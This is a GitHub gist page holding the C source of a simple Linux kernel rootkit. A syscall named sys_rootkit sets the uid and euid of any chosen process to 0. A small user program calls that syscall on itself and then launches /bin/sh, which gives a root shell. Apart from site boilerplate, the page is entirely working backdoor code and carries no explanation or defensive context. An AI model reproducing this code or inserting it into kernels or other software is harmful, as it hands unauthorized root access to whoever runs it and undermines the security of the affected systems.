Created
August 6, 2009 11:38
-
-
Save tariqadel/163266 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/unistd.h> | |
#include <sys/syscall.h> | |
#include <stdio.h> | |
#define rootkit(x,y) syscall(__NR_rootkit,x,y) | |
main() { | |
printf("Exit code = %d\n\n",rootkit(1,getpid())); | |
char *cmd[2]; | |
cmd[0] = "/bin/sh"; | |
cmd[1] = NULL; | |
execve(cmd[0], cmd, NULL); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "rootkit.h" | |
int pc = 0; | |
int print_info(void) { | |
int o_ruid = current->uid; | |
int o_euid = current->euid; | |
int o_suid = current->suid; | |
pc++;// inc counter | |
printk("\n *** ---[ Printing %d ] *** \n", pc); | |
printk("uid = %d ", o_ruid); | |
printk("euid = %d ", o_euid); | |
printk("suid = %d ", o_suid); | |
printk("getuid() = %d ", (int) sys_getuid()); | |
printk("geteuid() = %d ", (int) sys_geteuid()); | |
printk("getpid() = %d ", (int) sys_getpid()); | |
return (0); | |
} | |
asmlinkage int sys_rootkit(int mode, pid_t mypid) { | |
struct task_struct *ts; | |
int rc=0; // Get some feedback | |
print_info(); | |
printk("find_task_by_pid(%d)!\n", mypid); | |
ts = find_task_by_pid(mypid); | |
if(ts) { | |
ts->uid = (uid_t)0; | |
ts->euid = (uid_t)0; | |
} else { | |
rc = -1; | |
} | |
print_info(); | |
return(rc); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef __LINUX_ROOTKIT_H | |
#define __LINUX_ROOTKIT_H | |
#include <linux/linkage.h> | |
#include <linux/kernel.h> | |
#include <linux/sched.h> | |
#include <linux/syscalls.h> | |
#include <linux/sys.h> | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment